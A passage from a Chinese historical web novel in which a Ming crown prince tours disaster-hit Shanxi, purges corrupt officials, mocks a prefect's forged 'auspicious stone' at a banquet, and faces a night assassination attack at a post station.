发现有很多巴掌大小的鱼, 在稻田里游来游去。 朱佑棱讶然, “稻田养鱼?” “是的殿下!”铜钱道:“属下记得京郊的皇庄也有水田专门稻田养鱼, 不管是稻米的收成还是河鲜的收成都很不错。” 朱佑棱:“这孤知晓。” “想必此处今年收成会很好。”铜钱又道。“稻米可交税, 河鲜可卖钱” 朱佑棱起身, 突然感叹起来。 “都说天灾无情, 但其实小心防备,妥善解决灾后的一系列问题,造成的损伤,实际上微乎其微,可人祸” “铜钱你说, 孤领着大队伍来山西, 才多少时间,就杀了抓了多少人?” 朱佑棱讽刺满满的又说:“有时候孤也想做个‘睁一只眼闭一只眼’的人,可惜啊, 孤的良心做不到。” 还什么官逼民反,朝廷不给百姓活路 某种程度来讲, 的确如此。 ‘官’都是‘朝廷’任命的,‘官’贪得无厌,不给百姓活路,等同朝廷不给百姓活路。 看看, 这么排比,谁对谁错,一目了然! 朱佑棱认了,毕竟是中枢朝廷任免的地方官员,出了这种一连串,互相包庇勾结的贪官污吏,是中枢朝廷,特别是负责考核官员任免的吏部的渎职。 可朱佑棱心里憋屈得慌啊! 向往成为大明战神(指的是草原慈父李文忠),而不是大明战神(朱祁镇)的朱佑棱,已经在思考,要不要按照车轱辘上全砍了的办法,再将山西官场‘轮’一遍。 又转念一想,这样太残暴了,人杀得多了,岂不是少了很多的廉价劳动力! 所以还是保持原样吧! 这么想着,朱佑棱打起十二万分精神,主动找了一位老农询问,历年的收成,以及县衙有没有巧立名目收取苛捐杂税。 “进城按照体重长相收取人头税算吗?” 朱佑棱:“” 进城收取入城税,算是每个地方不成文的规定。普遍收取3文至5文一人。 但按照身高体重收人头税,朱有棱表示懵逼。不知道还以为是后世被狗咬,去打狂犬疫苗按斤数算呢! 朱佑棱真的懵逼了好一会儿,才反应过来问。“按照体重长相收取进城人头税?是哪个县城?就近?还是周边都是?” “俺乡下人,去过最远的地方,就是俺们这儿的县城。” 老汉儿一点都没有觉得自己说的话,将距离他们村子最近的县城官吏坑得不要不要的。 还显得特别激动的说。“过年的时候,不知哪来的牲口,说是过年嫁娶要收新人税,还要加收过年喜庆税。” 朱佑棱:“” 常常为官员揽钱的名目感到荒谬,以及羞愧怎么办! 朱佑棱抹了一把脸,朝着铜钱使了个眼色! 铜钱会意,找来几位锦衣卫,吩咐几句后,就继续充当保镖,随侍朱佑棱身边寸步不离。 这时候老汉儿又说起,当地官员一些离谱的操作。由于有了‘欢天喜地过年税’打底,随后老汉儿说的,都没有让朱佑棱很震惊。 反正此地官府的官吏,是肯定无了的。 借着朝廷的名义,胡乱收税。这已经不是离谱,而是超级离谱了。 虽说朱佑棱自从离京来到山西地界儿后,杀的人有点儿多,但是吧,朱佑棱现在却觉得,自己杀的人太少了! 不行!把他们都给剥皮楦草,老祖宗流传下来的手艺不能丢! 一肚子郁气的朱佑棱在接近黄昏时分,告别了老汉儿,乘坐马车前往当地县衙。 此时县衙已经被锦衣卫控制住,锦衣卫以及东西两厂的能人正在按照花名册,挨个抄家。 “赵俊生,官任九品主簿,平日负责县衙文书、档案、户籍、仓廪管理等,在任6年间,一共收取贿赂一万五千六百两白银,百两黄金,古董书画若干。” 跟着锦衣卫来‘掺和’的尚铭啧啧两声。 “杂家真是没有想到,一地县衙的小小主薄,居然敢贪这么多的银子。” “公公如何处置?” “直接杀了。”尚铭开口道。“将他的家产都抄得干干净净,连地砖儿的缝,都给杂家好好的搜。” “好的公公。” 朱佑棱刚来,就听到这样的话。顿时对尚铭手中的花名册很感兴趣。 “孤看看。”朱佑棱伸手,拿了花名册翻阅起来。 怎么说呢,不愧是‘犯罪证据’,记录得可真详细。说真的,朱有棱都不知道这些贪官污吏,怎么个个都有记账的好习惯。这不妥妥的犯罪证据嘛,只要找到账本,根据账本抓人抄家,真的一抓一个准。 朱佑棱:“处置得很可怜。等抄完家,你将抄家所得的数,笼统抱给孤,金银珠宝的话,嗯,珠宝和古玩字画一并儿送去京城的琉璃厂。让那儿的管事,挂合适的价格卖了。” 尚铭表示知晓,还道。“奴婢初步估算,大概能查抄几十万两白银。太子殿下,这只是小小一县。可见贪污之风在晋地(山西)横行!” “孤之前就猜到了。”朱佑棱早就生气过了,因此现在心态挺平稳的。 “所以孤才打算‘截留’抄家所得的金银,尽量将晋地恢复过来。” 不管是兴修水利,还是恢复农业,亦或者修葺倒塌房舍,都需要金钱。 虽说杀的商人中有粮商,木材商,茶商等等,木材石料单靠抄家所得是远远不够的。 哪怕朱佑棱身为太子,也做不到一分钱不给就从商贾手中买石料、木材等基础建材。 以及工人的工钱,吃住的费用,都是大笔的开销。哪怕征集民夫修建,也不可能不给钱。 如果这样不给那样不给,朱佑棱这位太子成了什么玩意儿。 朱佑棱自认还算一个人,有起码最基本的三观,所以不管哪方面,都要尽自己最大的努力做得最好。 “孤下一站的目的地是太原吧!”朱佑棱突然道。“后日继续启程,明儿你们且去好好查查,像孤今日这般,询问收成、赋税、胥吏盘剥的情况。“如果还有空闲,再去看看受灾百姓的临时安置点,查查粥棚米粮是否足额发放,以及疫病防治是否到位。” 东西两厂以及锦衣卫们自然没有不应是的。 很快,一夜过去。第二天天刚擦亮,领到任务的锦衣卫们连同东西两厂的能人,全都四散开来活动。 铜钱没有走,他的主要工作,是护卫朱佑棱的安全。 朱佑棱起来时,铜钱正在和小翠说话。小翠呢,在做早餐。出门在外,小翠一贯谨慎,衣食行都亲自操心。而只要有空闲,小翠都会亲自做一日三餐。 今儿小翠煮了小米粥,还炒了两个小菜,配了切成丝的酱菜,以及炸的油条,和煮的面片儿汤。 “这边多食面食。”小翠笑着对起来得有点点晚的朱佑棱道。“奴婢除了阳春面外,其他面食都不太会做,索性就煮了小米粥,又煮了点面片儿汤。殿下尝尝好不好吃。如果不太好吃的话,就全给铜钱吃。” 铜钱:“” “还行。”朱佑棱笑眯眯的说:“孤其实不太挑食的。出门在外,孤哪能糟蹋小翠姑姑的好意,让铜钱吃孤剩下的呢!” “其实属下不介意的。”铜钱摆手表示,能吃主子不太喜欢吃的食物,哪里是糟蹋,分明是赏赐。 “听听,孤就说铜钱会说好听的话吧!” 朱佑棱笑眯眯的开始享用早餐。本以为今日无事,能够舒舒坦坦的度过,谁曾想,临近中午的时候,有锦衣卫快马回来禀告说,有县令为了应付太子巡查,竟强行将流民驱赶到偏僻山坳,并威逼本地百姓“借出”粮食和牲畜,伪装成县仓充足,百姓安居乐业的假象。 朱佑棱:“???” 朱佑棱勃然大怒:“可将该县令及一众佐吏锁拿下狱否?” 该锦衣卫百户拱手说已经全部锁拿下狱。 “想必是库粮没了,才会想出这样逆天的‘办法’来企图忽悠孤。”朱佑棱稳了稳,又问。“孤的猜测是否猜到了事实?” 该锦衣卫百户点头称是。 “既然这样,那你回去主持开仓放粮一事,真正确保流民得到安置。”朱佑棱冷声吩咐道。“如果谁敢暗中捣乱,孤允你‘先斩后奏’的权利。” “诺!” 该锦衣卫退下,铜钱这时候才道。“其实这种情况很常见的。说不得殿下此次前往太原,怕会遇到‘祥瑞’出世。” 朱佑棱:“???” 朱佑棱:“” “打住!不要说这样恐怖的话。”朱佑棱惊恐脸,双手疯狂的摆动。“孤可是父皇母妃的心肝宝贝儿,并不需要什么‘祥瑞’来巩固地位。要是太原那边的官吏真敢这样搞,孤弄死他们!” 朱佑棱只差跳脚来表达自己的恶寒,逗得不知道自己‘乌鸦嘴’了的铜钱,实在憋不住笑。 现在的太子殿下,看起来才像个孩子。前面那段时间真的,太过于老成。 朱佑棱知晓自己这是被取笑了,当即连翻好几个白眼。 “这种事情绝对不可能发生。”说这话的时候,朱佑棱惊恐的发型自己的左右眼皮一直不停地跳动。 左眼跳财,右眼跳灾,如今双眼一起来,代表什么含义不言而喻。 ——这是要发生不好的事情,然后同时疯狂进财!—— 作者有话说:更新o(* ̄︶ ̄*)o 第84章 第084章 前往太原之前,铜…… 前往太原之前, 铜钱和陆炳就分开了。铜钱继续护卫,不离朱佑棱身边半步。 陆炳则亲自带兵捉拿李茂。 李茂的府邸看似守备森严,可区区家丁如何能抵挡如狼似虎的锦衣卫。 很快,在锦衣卫的强攻下, 负隅顽抗的家丁护院, 很快被制服, 李茂本人则被从卧室的密室里拖了出来, 面如死灰。 “居然修有密道, 还私藏兵器养私兵。”陆炳冷哼, “看来已经不必再找什么证据了, 直接将他亲眷手足都给拿下, 敢反抗者就地格杀!” “诺!” 如狼似虎的锦衣卫们, 四散开来,捉拿李茂家人的时候,还搜出了大量来不及销毁的账册、信件,以及与“昌隆号”票号的秘密往来凭证。 更关键的是,找到了其与已被捕的河工承包商、乃至疑似刺杀案中间人的通信草稿! 虽然措辞隐晦, 但其中“务必阻太子彻查”, “不惜代价”等字眼,已足以将其与刺杀案紧密联系起来。 原先李茂的家眷还想负隅抵抗,没曾想锦衣卫们直接执行陆炳的命令, 就地将他们格杀,鲜血瞬间流淌一地。 看到这一幕, 李茂哪里还敢矢口否认,在没有用到东厂人员精湛刑讯的情况下,李茂的心理防线很快崩溃,供出了潘升是幕后主使之一, 以及他们如何通过“昌隆号”洗钱、分赃,又如何得知太子追查甚紧,担心东窗事发,于是铤而走险,通过江湖关系,雇佣亡命之徒,意图制造“意外”刺杀太子,将水搅浑。 而面对李茂的‘坦诚’,陆炳却并不怎么信。 陆炳觉得,背后定然还有人,想要火中取栗。并且他来抓捕李茂之前,朱佑棱就私底下说过,肯定其中有关外鞑子安排在晋地的细作密探的原因。 让陆炳抄家的时候,务必仔细点,将细作尽量清洗出来。 如今如此顺利,陆炳并没有感觉满意。完全可以深挖,比如根据李茂、潘声的祖谱开始挖掘。 “陆副指挥使所言极是。”汪直开口说,声调冷冷的。“能顺利考中进士,从此官路亨通之人,岂会真的如此蠢笨?杂家可不信,杂家来之前,皇贵妃娘娘可是仔仔细细交代了,企图刺杀太子者,犯谋逆,夷三族。” 陆炳:“皇贵妃娘娘的决定是对的。就该夷三族,杀鸡儆猴,让宵小之辈知道怕!” 汪直:“杂家相信,好好的查,定然能够查出来个所以然来。现在李茂抓了,该轮到‘幕后黑手’的潘升了。” 如今案情算是取得了重大突破,陆炳带着如狼似虎的锦衣卫去抓捕潘升的时候,汪直将李茂的部分供词,加急送往京城。 按理说,捷报频传的同时,胜利也在望,结果反扑来得那叫一个猛烈。 先是太原城内开始流传一些谣言,说太子在山西“滥用酷刑,屈打成招”,并且牵连无辜,搞得山西官场人人自危,民生凋敝。 谣言甚至隐隐将矛头指向远在京城的万皇贵妃,说她“牝鸡司晨”,纵容太子“倒行逆施”。 接着,几名在押的、罪行较轻的胥吏,在狱中莫名暴毙,死因蹊跷,疑似灭口。虽然铜钱和尚铭加强了看守,但显然对方在监狱系统内部也有渗透。 而最让铜钱、尚铭二人愤怒的是,朱佑棱临时起意,准备前往汾河上游视察水库遗址的途中,在队伍经过一段狭窄山路的时候,两侧山坡突然滚下数块巨石! 幸亏护卫警惕性高,提前发现了异常,及时示警躲避,才未造成重大伤亡,但仍有数名锦衣卫被飞石擦伤,车驾也受损严重。 而经查,滚石处有人为撬动的痕迹,凶手在逃之夭夭不久,直接被追撵的护卫当场格杀。 这显然,又是一次针对性的袭击,虽然粗糙,但透着狗急跳墙的疯狂。 朱佑棱站在被巨石砸坏的车驾旁,小脸紧绷,目光冷冽。他看向脸色铁青的铜钱和尚铭。 “看来,有人不想让孤继续巡查,更不想让孤活着离开山西。” “殿下放心,有末将/奴婢在,必保殿下周全!” 铜钱和尚铭齐声保证,眼中杀机四溢。接二连三的袭击,是对他们护卫能力的极大挑衅。 “孤当然相信你们。”朱佑棱语气平静,仿佛先前那又一场刺杀根本不存在似的。 “但光防守是不够的。传令下去,李茂既已招供,立刻按图索骥,将他供出的所有关联人员,无论官职大小,全部控制起来!特别是那个‘昌隆号’票号,给孤查封!所有账册、银两、往来客户名录,全部封存!孤倒要看看,这晋地的天,到底是不是他们的一手遮天。” “至于那些散播谣言的,”朱佑棱眼中寒光一闪,凉飕飕的道。“让东厂的人去查,查到一个,抓一个,绝不姑息!” “诺!”尚铭急急的道。“还请太子放心,奴婢一定让东厂的人,将乱臣贼子全部斩杀殆尽。” “孤自然是信的!” 哪怕再次遭遇刺杀,朱佑棱依然没有打算在此地多做停留,反正包括刑部尚书在内,都派遣出去了,现在在他们的全力追查下,刺杀案的线索开始向几个本地的豪绅以及与他们有银钱往来的州府官员身上集中。 哪怕线索时断时续,难以立刻揪出元凶,朱佑棱也把元凶定死在关外鞑子身上。 难得的大好机会,怎能不抓住,让‘草原慈父’的光辉,再次撒遍塞外呢! “此次不急,满满的查,狐狸总会露出尾巴的。” 朱佑棱并没有就此打消前往太原府的想法,继续率队北上,很快抵达太原府。 太原府作为省治所在,官员品级更高,关系网络也更为盘根错节。 当太子的仪仗终于出现在太原府城南的官道上时,前来迎接的阵仗,与之前所遇州县,已不可同日而语。 以山西布政使孙铭、提刑按察使周经、都指挥使刘聚为首的山西三司大员,早已回到太原府,在朱佑棱抵达的这一天,连同太原府知府吴庸,以及各级属官等,黑压压一片,早早便在十里长亭外列队恭候。 朱佑棱端坐车中,透过车帘缝隙,冷眼打量着外面盛大的迎接场面。 他的面色十分平静,心中只有冰寒的厌烦。 表忠诚? 孙铭这家伙在搞什么! “臣等恭迎太子殿下!殿下千岁千岁千千岁!” 山呼海啸般的朝拜声响起。 车驾停稳,朱佑棱在刘健的搀扶下,缓缓下车。他今日特意穿了一身较为正式的储君常服,头戴翼善冠,腰束玉带,虽然面容依旧稚嫩,但眉宇间那股历经风波后沉淀下来的沉静与威严,已隐隐有了一丝王者气度。 尤其那双眼睛,清澈依旧,但目光扫过时,却让许多久经官场的老吏,都感到一阵莫名的心悸。 “诸卿平身。”朱佑棱的声音平稳,听不出喜怒。 “殿下奉旨巡狩,不辞辛劳的驾临太原,实乃晋地百姓之福。臣等已在城中备下馆驿,并为殿下略备薄宴,一则接风洗尘,二则聆听殿下训示。蒲州之事,臣等闻之,惊怒交加,已严令全省缉拿凶徒,定要给殿下一个交代!” “孙卿有心了。蒲州之事,自有朝廷法度。孤此次前来,首要还是察看民情,督办河工水利,以解旱涝之患。孤在此希望诸卿,能实心用事,勿负皇恩。” “臣等定当竭尽全力,辅佐殿下!”众官员齐声道 入城仪式繁复而冗长。 太原城作为九边重镇,晋商汇集之地,城池雄伟,街市繁华,与沿途所见的凋敝乡村,判若两个世界。 街道两旁,有兵丁清道,百姓被远远隔开,只能翘首观望。 朱佑棱注意到,人群中虽有好奇,但更多的是一种麻木的疏离,与官员们夸张的热情形成鲜明对比。 接风宴设在原晋王府,原本是晋王朱㭎(朱元璋第三子)的封地,后来改建成行宫。 大殿很是富丽堂皇。 诸人入座后,珍馐美味,一盘盘接着上,又有丝竹管弦声响,歌姬入场,轻歌曼舞的跳着。 朱佑棱坐在主位,他身后分别站了铜钱和尚铭。 至于作陪的人,除了三司主官、太原知府,还有几位在籍的致仕高官,以及名儒。 哦,对了,还有几位看起来家资巨万、态度恭谨的晋商代表。 气氛看似热烈融洽,但每个人似乎都绷着一根弦,小心翼翼地观察着朱佑棱这位太子的神色,斟酌着每一句说辞。 酒过三巡,菜过五味。 太原知府吴庸,突然向坐在主位的朱佑棱敬了一杯酒,然后放下酒杯,脸上堆起恰到好处的神秘与兴奋。 “殿下,今日盛宴,本为殿下接风洗尘。不过说来也巧,微臣负责治理的太原府,最近正好发生了一件稀奇事,太子殿下可知是什么稀奇事?” 朱佑棱:“???” 什么稀奇事儿不敢兴趣,但朱佑棱瞬间有了很不好的预感,并且越来越强烈—— 作者有话说:更新o(* ̄︶ ̄*)o 今天真的睡懵了,我从一点睡到六点! 起来将女帝那本更新一千多,然后更新这本 啊,这本更新了,又要回去补女帝的章。 真是猪啊,怎么那么会睡![狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第85章 第085章 太原知府接着道…… 太原知府接着道:“或许可以称作是‘祥瑞吉兆’。如今正赶上太子殿下您大驾光临, 这难道不是天意安排!” 那惊喜的样儿,成功让朱佑棱黑了脸。 太原知府却没有看到,继续保持他的兴奋。 “臣冒昧,想把这件吉物呈给您亲眼看看, 既是给宴会添一份喜气, 也是借这个吉兆, 彰显上天对太子殿下您的眷顾啊!” 朱佑棱:“” 他知道, 他就知道! ——铜钱那乌鸦嘴, 真的该死的准! “哦?祥瑞?” 朱佑棱手中把玩着玉杯, 抬眼看向吴庸, 脸上看不出什么表情, 语调轻扬, 彷佛很好奇。 “吴知府说来听听。” 殿内瞬间安静下来,歌舞悄然停止,所有人的目光都集中在了吴庸身上。 山西布政使孙铭翻白眼,随即却捻须微笑。按察使周经眼观鼻鼻观心,假装在神游。 都指挥使刘聚, 则饶有兴趣地看着。随行的刘健、张润等人交换了一个眼神, 都有些啼笑皆非。 ——来了,官场惯用的‘祥瑞’把戏,它来了! 吴庸自觉已经得到了太子的首肯, 整个人的精神特别的抖擞。 他甚至下一刻就站了起来,拍手让人将‘祥瑞’呈上来。 很快, 两名健仆,小心翼翼地抬着一个蒙着红绸的托盘,走到殿中,吴庸亲自上前, 深吸一口气,仿佛在进行某种神圣的仪式,缓缓揭开了红绸。 托盘之上,是一块约莫一尺见方、半尺来厚的石头。石质青灰,表面光滑,显然经过精心打磨。 而吸引所有人目光的,是石头正面那一片天然形成的、颜色略深的云纹。 那云纹蜿蜒盘绕,乍看之下,竟隐隐组成了四个古朴的篆字——太子千岁 朱佑棱:“” ——这是把他当傻子呢,还是当傻子? “嘶——” 殿内响起一片低低的吸气声。 别怀疑,那不是惊叹,而是 这么蠢!到底是怎么坐上太原知府的位置的? 朱佑棱也有这样的疑问,所以他忍了,绝对不是想要看看,吴庸这位太原知府,还能搞出怎样的骚操作! 而现在,朱佑棱还是低估了吴庸的下限!这丫的居然找了很多拖,在朱佑棱尴得沉默之时,更加离谱的骚操作来了。 托A瞪大眼睛,露出惊叹之色。“竟有此事?” 托B附和的赞赏:““真是天佑大明,天佑太子!” 最后托C总结:“此乃吉兆啊!” ——听听,看看! ——表演过于用力,导致太过浮夸! 他们就不觉得尴吗? 哦,不会! 反正孙铭等人都已经掩面,低着头不敢看! 绝对不是羞愧,汗颜,而是怕不低头的话,遮掩不住那澎湃的笑意。 孙铭他们其实很好奇的,朱佑棱这位年轻的储君,到底是怎么憋住笑,还煞有其事的点头。 吴庸其实已经自嗨到满脸红光,声音更是因为激动而微微发颤。 他道:“殿下明鉴!此石乃月前,臣治下阳曲县百姓,在黄河岸边疏浚河道时,于淤泥深处偶然掘得。” 吴庸越说越激动,已经完成逻辑自洽,自己完全说服了自己。 他接着道:“初时,微臣只当是寻常顽石。没想到洗净之后,方现此天书奇文。殿下请看,‘太子千岁’四字,宛然若揭,绝无半点人工雕琢之迹!此非人力所能为,实乃天降祥瑞,昭示殿下仁德感天,此行大吉,亦预兆我大明国运昌隆,永享太平!今日殿下驾临,此石现世,岂非冥冥之中自有天意?臣得此祥瑞,不敢私藏,特献于殿下!” 朱佑棱:“” 他这番话,说得慷慨激昂,情真意切,仿佛这石头真是从河底蹦出来、自带字迹的一般。 而他特意找的托,托A继续吹捧:“恭喜殿下!得此天降祥瑞,实乃我大明之福!” 托B接着:“殿下年幼德劭,仁孝聪慧,故而上天垂象,此乃国之祥瑞啊!” 托C再次总结:“有此吉兆,殿下此行定能顺遂,河清海晏,指日可待!” 朱佑棱:“” 他能怎么办,只能干巴巴的提醒。“上古文字,甲骨为尊,这纂” 朱佑棱没有说下去了,因为这真的很尴,偏偏吴庸不觉得,他甚至觉得自己一颗琉璃心都快要碎了。 孙铭估计已经有了看热闹不嫌事大的想法,这个时候,居然还说吴庸一片忠心。 “天降‘奇’石,确为佳话。殿下,此祥瑞现于太原,亦是晋地百姓对殿下爱戴之心的昭示啊。” 朱佑棱斜眼瞄他。 ——收收你那快将八块牙齿都要露完的笑,孤就相信你是真心夸奖! 朱佑棱没有说话,哪怕此时此刻,所有人的目光,都聚焦在了他的身上,等待着他欣喜的表情,或是至少,一句嘉许。 “孤再说一遍,上古文字,甲骨为尊。要想人为制造祥瑞,最起码刻甲骨文吧!” 所有人:“” 殿内的温度,仿佛随着朱佑棱的话,骤然下降。丝竹音停了,歌舞也已结束,这时候一种无形的,令人窒息的压力,开始弥漫整个大殿。 吴庸脸上的红光早已褪去,变得有些苍白,额角渗出细密的汗珠。 他心中开始打鼓,端是忐忑不安极了。 “吴知府。” 朱佑棱终于开口了。他的声音不高,甚至有些清越,但每一个字,都像冰珠子一样,清晰无比,也冰冷无比。 “臣……臣在。”吴庸的声音有些发干。 “你说这石头,是黄河岸边,淤泥深处掘得?”朱佑棱问,语气平淡。 “是……正是。” 朱佑棱:“你说这字迹,是天然形成,绝无人工雕琢?” 吴庸硬着头皮,赌咒发誓。“千真万确!臣敢以性命担保!” “哦?” 朱佑棱忽然轻笑一声,但那笑声里没有半点温度。 他站起身,缓缓走下主位,来到那托盘前。面色十分平静的伸出手指,轻轻抚过‘天降奇石’上面的‘太子千岁’的纹路。 半晌,他收回手指,背在身后,转过身,目光不再看那石头,而是微微眯着眼睛,看向吴庸那张越来越白的脸。 接着扫过殿内神色各异的官员,最终,朱佑棱的视线,定格在虚空中的某一点。 “黄河水患,肆虐经年!去年秋天的汛期,河堤决口了上百里,农田房屋全被淹没,百姓陷入巨大灾难!” “朝廷收到的消息,却是水患已然控制,虽农田房屋被淹没无数,但好在救灾及时,并没有太大的损伤。” “结果呢!孤今年奉命巡视黄河,督察水利工程结果却看到‘饿殍枕藉于道,流民哀鸿遍野’的人间惨剧,你们告诉孤,这就是‘救灾及时,并没有太大的损伤’?孤还年轻,读书没诸位多,你们可别哄孤。” 众人诺诺不敢言。 朱佑棱早就知晓他们德性,冷哼一声继续说。“这石上纹路,乍看天成,细观之下,却见转折生硬,匠气十足,分明是能工巧匠以金刚砂仔细打磨雕琢而成!天降祥瑞?” 朱佑棱嗤笑起来。“吴庸啊吴庸,你真好大的胆子啊,竟敢玩此等拙劣把戏,来摩擦孤的智商。” “在你眼中,孤的智商就跟你一样,跟类人猿似的。” “沽名钓誉的蠢货,孤真怀疑你当初考功名,是拿jio考的,而不是脑子。” “还有你们”朱佑棱开始地图炮。“在尔等眼中,孤便是那等只喜阿谀奉承,不闻民间疾苦、不见血泪尸骸的昏聩无能之辈?” 太狠了!一套组合拳下来,犹如九天惊雷,在所有人头顶炸响! 尤其是最后那句质问,更是诛心之言,差不多已经将一顶‘昏聩’的帽子,狠狠砸向了献媚的官员。 朱佑棱的痛斥,也表明了他的态度。 朱佑棱对地方灾情以及吏治,早已心知肚明,甚至深恶痛绝! “殿下息怒!臣有罪!臣万死!” 吴庸此时此刻被朱佑棱的一席话,吓得差不多魂飞魄散,禁不住双腿一软,扑通一声重重跪倒在地。 “臣一时糊涂。臣受小人蒙蔽,以为” 吴庸磕头如捣蒜,额头瞬间一片青紫,声音带着哭腔和无比的恐惧,“以为此石能彰殿下威德,臣绝无欺瞒殿下之心啊。求殿下开恩!开恩啊!” 吴庸此刻哪里还敢咬定,说什么“天然”奇石,太子早已看穿,现在的他,大概只求太子能相信他是受蒙蔽的,而非主谋。 但问题是 不是他一手策划的,难道是孙铭、周经、刘聚他们? 殿内其他官员,除却孙铭、周经、刘聚三人,全都脸色惨白,齐刷刷地跪倒一片,冷汗涔涔。 那几个当托的官吏,更是吓得体如筛糠,恨不得把头埋进地砖里。 孙铭这时候狠狠瞪了一眼瘫在地上的吴庸,只得出面请罪。 “臣等御下不严,治吏无方,致使此等荒唐之事惊扰殿下,臣等亦有罪,请殿下降罪!” 刘健、张润等随行官员,虽然早有预料,但见太子如此不留情面、直斥其非,心中亦是欣慰。他们的太子殿下,并非可欺的弱主。 “都起来吧。” 请罪的等人,战战兢兢地起身,垂手而立,不敢抬头。 朱佑棱走回主位坐下。“孤此行,是为察看灾情,督办实务,不是来听祥瑞,看歌舞的。百姓疾苦山河疮痍,孤亲眼所见亲耳所闻,所见所闻,比任何祥瑞都更真实,也更刺心!” 朱佑棱看向瘫软在地的吴庸,冷冷道:“吴庸,你身为一府之尊,不知民事艰危,反行此谄媚之事,本当严惩,以儆效尤!” 吴庸闻言,眼前一黑,几乎晕厥。 “然”朱佑棱话锋一转,又道:“孤给你一个戴罪立功的机会。你不是说此石出自黄河岸边吗。好,孤命你,自即日起,卸去太原府一切庶务,专职协理工部员外郎张润,督办太原府境内,特别是阳曲、太原、榆次等濒临汾河,黄河支流县份的所有水利工程。 “记住了,孤要你仔仔细细的清查历年河工账目,督导堤防加固、河道疏浚、灌渠整修!就用你这‘发现祥瑞’的精力和心思,去给孤实实在在地修好一段堤,挖通一条渠,救活一片田!” 朱佑棱顿了顿,语气变得森然无比的继续说:“若再有差池,若让孤发现你敷衍搪塞,或是在河工银两上动手脚。那么数罪并罚,两罪归一。到时候,就不必去闽南,帮朕的皇叔种田放羊,直接去昭狱。孤想,你和你的手足亲朋,在昭狱团聚,一起手拉手的下地府,想必也是一种仁慈。” 孙铭、周经等人:“” ——他们的太子殿下,对于仁慈的定义,是不是有点儿与常人不同!—— 作者有话说:朱佑棱:什么是仁慈,这就是仁慈。孤让他们一家在昭狱,就是最大的仁慈![菜狗][菜狗][菜狗] 第86章 第086章 是的,朱佑棱的脑…… 是的, 朱佑棱的脑回路,与常人不一样。 他不以为耻,反而沾沾自喜! 就像现在,生气归生气, 但朱佑棱可不会因为生气而丧失理智。甚至朱佑棱还认为更该生气的时候, 狠狠处罚让他生气的家伙。 “臣叩谢殿下不杀之恩!臣定当竭尽驽钝, 戴罪立功!绝不敢有负殿下!” 吴庸死里逃生, 涕泪交加, 连连磕头保证。 去督办河工虽然辛苦, 还可能得罪人, 但总比丢官罢职、甚至下狱问罪强万倍! “孙卿。”朱佑棱又看向山西布政使孙继宗。 “臣在。” “祥瑞之事, 就此作罢。但今日之事, 孤希望你能明白,也能让山西上下所有官员都明白。”朱佑棱一字一句道:“如今大明,需要的是能治水抗旱的良吏,是能安抚流民的干臣,是能清查积弊的勇者, 而不是只会献祥瑞, 唱赞歌的弄臣!” “对于孤来说,百姓的口碑,田里的收成以及坚固的堤防, 才是真正的‘祥瑞’。若有人再搞这些虚头巴脑的东西,来糊弄朝廷, 糊弄孤,这就是榜样!” “臣谨遵殿下教诲!定当严饬属下,务实政去虚假,好以实绩报效朝廷!”孙铭深深一揖, 诚心诚意的道。 经此一事,朱佑棱这位国之储君,在山西官场的权威,已然立下。任何小心思,任何小动作,在朱佑棱的面前,都得收起来了。 不然呵! “都散了吧。宴席也撤了。” 朱佑棱意兴阑珊地挥挥手,“明日,孤要去看看太原府的常平仓,义仓,还要去汾河边看看。诸卿,好自为之。” 本该宾主尽欢的接风宴,以如此戏剧性的方式仓促收藏。这场所谓的祥瑞闹剧,让朱佑棱深深的觉得,天下官员大多有病,山西晋地官员为最。 哪怕事后几天,朱佑棱依然没有忘了跟随行吐槽。而很快,有关朱佑棱的‘天下官员皆有病,山西晋地官员为最’的吐槽话,就传遍整个山西地界儿,甚至还有往陕西扩散的趋势。 各地的官员们听闻,无不凛然,再也没有人敢在太子面前搞什么‘祥瑞进献’‘万民伞’之类的把戏,甚至连过于奢华的接待都小心翼翼,生怕被太子认为他们‘不恤民艰’。所有人的注意力,这下子不管是自愿还是被迫,都转向了真正该关心的方向:灾情、水利、账目以及民生。 而至此,朱佑棱的目的算是达到了,可一点儿都不感到欣慰。甚至朱佑棱时常骂骂咧咧,哪怕在在结束对蒲州、太原等重灾区的视察和初步整顿后,行撵转向西南,前往汾河中游的平阳府(今临汾一带)的途中,朱佑棱依然不放弃骂骂咧咧,继续当他的‘粗鲁太子’。 这一日,队伍行至平阳府辖下的洪洞县境内。天色将晚,前不着村后不着店,只得在一处官道旁的驿馆下榻。 这驿馆规模不大,但因着是官道必经之处,修建得还算齐整。前后两进院子,有马厩、伙房和十数间客房。驿丞是个五十来岁、看起来老实巴交的干瘪老头,带着两个驿卒,战战兢兢地将太子及随行官员、护卫迎了进去。 连日奔波,加上白日里又查看了两处淤塞严重的废弃水渠,朱佑棱颇感疲惫,用了些简单的晚膳后,便在刘健等人的劝说下,早早歇息了。 朱佑棱住在驿馆后进最里间、相对最安静的上房,铜钱安排了最严密的守卫,并亲自守着。经历了黄河堤上的刺杀和山道滚石的袭击,所有人的神经都绷得紧紧的。 月上中天,万籁俱寂。只有夏虫在草丛中不知疲倦地鸣叫,和远处汾河流水隐约的呜咽声。 驿馆内,除了守夜卫士轻微的脚步声和呼吸声,再无其他声响。然而,就在这看似平静的深夜,杀机悄然来到。 “什么人?!站住!” 驿馆外围守着的护卫惊呼,随即响起兵器出鞘的铿锵声,一声闷哼! “敌袭!保护殿下!” 几乎在同一时间,铜钱如同猎豹般从廊下窜出,厉声长啸,声音瞬间划破寂静的夜空! “杀——!” 回应他的,是驿馆外骤然爆发的、如同野兽般的咆哮喊杀声。 数十道黑影,如同鬼魅般从驿馆周围的树林、土坡后窜出,手持明晃晃的刀枪棍棒,甚至还有几把军中制式的劲弩,疯狂地扑向驿馆。 他们显然早有预谋,分工明确,一部分人悍不畏死地扑向外围的锦衣卫哨卡,用人数优势强行冲击,另一部分则趁着混乱,直扑后院。 铛铛铛—— “啊~” 兵刃撞击声,利刃入肉声以及濒死的惨叫声,瞬间响成一片,宁静的驿馆,变成了血腥的战场。 朱佑棱在睡梦中被惊醒,猛地坐起。外面传来的激烈打斗声和喊杀声,让他瞬间睡意全无。 又来了!真的没完没了! 朱佑棱快速披上外衣,抓起床头悬挂的短剑,那是朱见深送给他的,上面镶嵌了很多颗宝石,观赏意义大于用处。 “殿下莫慌!” 刘健和张润衣衫不整地冲了进来,脸色苍白,但勉强保持着镇定,挡在朱佑棱身前。赵诚和李太医也闻声赶到,聚拢身边。 “外面情况如何?” 朱佑棱冷静的侧耳倾听。 打斗声原本主要集中在院墙外和前院,但现在,正迅速向后院逼近。 